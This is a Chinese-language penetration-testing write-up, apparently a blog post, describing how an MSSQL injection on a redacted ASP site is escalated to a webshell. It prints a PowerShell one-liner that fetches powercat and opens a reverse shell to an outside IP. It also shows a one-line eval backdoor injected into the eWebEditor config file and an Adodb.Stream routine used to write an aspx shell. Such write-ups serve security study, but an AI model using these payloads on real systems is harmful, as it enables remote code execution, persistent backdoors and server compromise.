从注入到webshell
背景:一朋友渗透测试中遇到一个注入点可执行命令,但无法突破写shell卡住,mssql注入dba权限whoami为network权限木马暂时未上
注入点: https://********.com/member/news.asp?ID=6666
判断是否站库分离
1 | select @@servername` |
发现站库是同服务器
直接sqlshell执行命令返回太慢,且容易产生大量不必要日志,web目录不可写,所以这里使用powershell反弹shell
1 | powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 123.123.123.123 -p 443 -e cmd |
web目录不可写
发现有php进程,看php进程是否以system权限启动,如果为system权限启动并且对应的web目录可写,就直接省去了提权tasklist /fi "IMAGENAME eq php.exe" /v
执行发现并不是高权限启动
发现eweb编辑器,且配置文件插入了常用iis可解析后缀
登录eweb编辑器发现没有开启asp上传相关组件,无法使用eweb编辑器进行上传任何文件,但是可以修改配置文件,也就是说并不是真正的不可写,修改配置文件调用的是Adodb.Stream
,而通常上传代码为Scripting.FileSystemObject
组件
查看ewebeditor/admin/private.asp
拿shell思路写config.asp配置文件
修改写配置文件
将密码修改为:aaaaaaaaa":eval request("a")'
aaaaaaaaa为原本密码
成功连接webshellhttps://********.com/ewebeditor/asp/config.asp
既然Adodb.Stream 可以修改配置文件,那么同样也可以用来上传文件,下图是eweb中写配置文件代码,我们可以直接抠出来用
菜刀执行自定义代码
利用Adodb.Stream 写aspxshell
1 | Sub WriteFile(s_FileName, s_Text) |
成功获得aspxshell:https://********.com/ewebeditor/asp/config.aspx
pass
这里为什么要用aspx shell呢?因为.net
有可能继承users组权限,且不受fso
(FileSystemObject)组件影响,当然也可以使用无fsoshell
数据库反弹shell无法对web目录写文件原因下几个图片可以说明:
数据库shell权限:
webshell 下权限